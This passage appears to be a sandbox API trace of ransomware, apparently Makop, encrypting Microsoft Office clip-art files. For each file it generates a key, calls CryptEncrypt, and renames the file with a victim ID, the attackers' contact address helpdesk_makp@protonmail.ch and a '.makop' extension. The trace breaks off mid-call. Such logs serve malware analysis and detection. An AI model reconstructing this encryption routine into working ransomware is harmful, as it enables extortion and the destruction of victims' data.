[0143.024] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.025] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.026] CloseHandle (hObject=0xf0) returned 1 [0143.027] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0143.027] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF") returned 63 [0143.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.030] GetProcessHeap () returned 0x48a0000 [0143.030] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.030] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.030] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.030] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.035] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.035] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.035] GetProcessHeap () returned 0x48a0000 [0143.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.035] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.035] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.035] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.035] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.036] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.036] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.036] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.036] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.036] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.036] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1928, lpOverlapped=0x0) returned 1 [0143.063] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1930, dwBufLen=0x1930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1930) returned 1 [0143.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.063] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1930, lpOverlapped=0x0) returned 1 [0143.064] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.064] SetEndOfFile (hFile=0xf0) returned 1 [0143.071] GetProcessHeap () returned 0x48a0000 [0143.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.071] GetProcessHeap () returned 0x48a0000 [0143.071] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.071] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.073] CloseHandle (hObject=0xf0) returned 1 [0143.073] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0143.073] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF") returned 63 [0143.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.074] GetProcessHeap () returned 0x48a0000 [0143.074] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0143.079] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.079] GetProcessHeap () returned 0x48a0000 [0143.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.080] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.081] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.081] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4cea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4cea, lpOverlapped=0x0) returned 1 [0143.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cf0, dwBufLen=0x4cf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4cf0) returned 1 [0143.083] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4cf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4cf0, lpOverlapped=0x0) returned 1 [0143.084] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.084] SetEndOfFile (hFile=0xf0) returned 1 [0143.091] GetProcessHeap () returned 0x48a0000 [0143.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.091] GetProcessHeap () returned 0x48a0000 [0143.091] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.091] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00633_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00633_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.093] CloseHandle (hObject=0xf0) returned 1 [0143.093] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0143.093] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF") returned 63 [0143.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.095] GetProcessHeap () returned 0x48a0000 [0143.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.096] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.110] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.110] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.110] GetProcessHeap () returned 0x48a0000 [0143.110] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.110] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.110] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.110] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.111] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.111] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.112] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb12c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb12c, lpOverlapped=0x0) returned 1 [0143.139] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb130, dwBufLen=0xb130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb130) returned 1 [0143.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb130, lpOverlapped=0x0) returned 1 [0143.140] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.140] SetEndOfFile (hFile=0xf0) returned 1 [0143.148] GetProcessHeap () returned 0x48a0000 [0143.148] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.148] GetProcessHeap () returned 0x48a0000 [0143.149] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.149] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.149] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00640_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00640_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.151] CloseHandle (hObject=0xf0) returned 1 [0143.151] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0143.151] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF") returned 63 [0143.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.152] GetProcessHeap () returned 0x48a0000 [0143.152] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.152] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.157] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.157] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.157] GetProcessHeap () returned 0x48a0000 [0143.157] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.157] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.157] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.157] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.157] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.158] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.158] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.158] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.158] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.158] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.158] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.159] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6028, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6028, lpOverlapped=0x0) returned 1 [0143.192] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6030, dwBufLen=0x6030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6030) returned 1 [0143.192] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 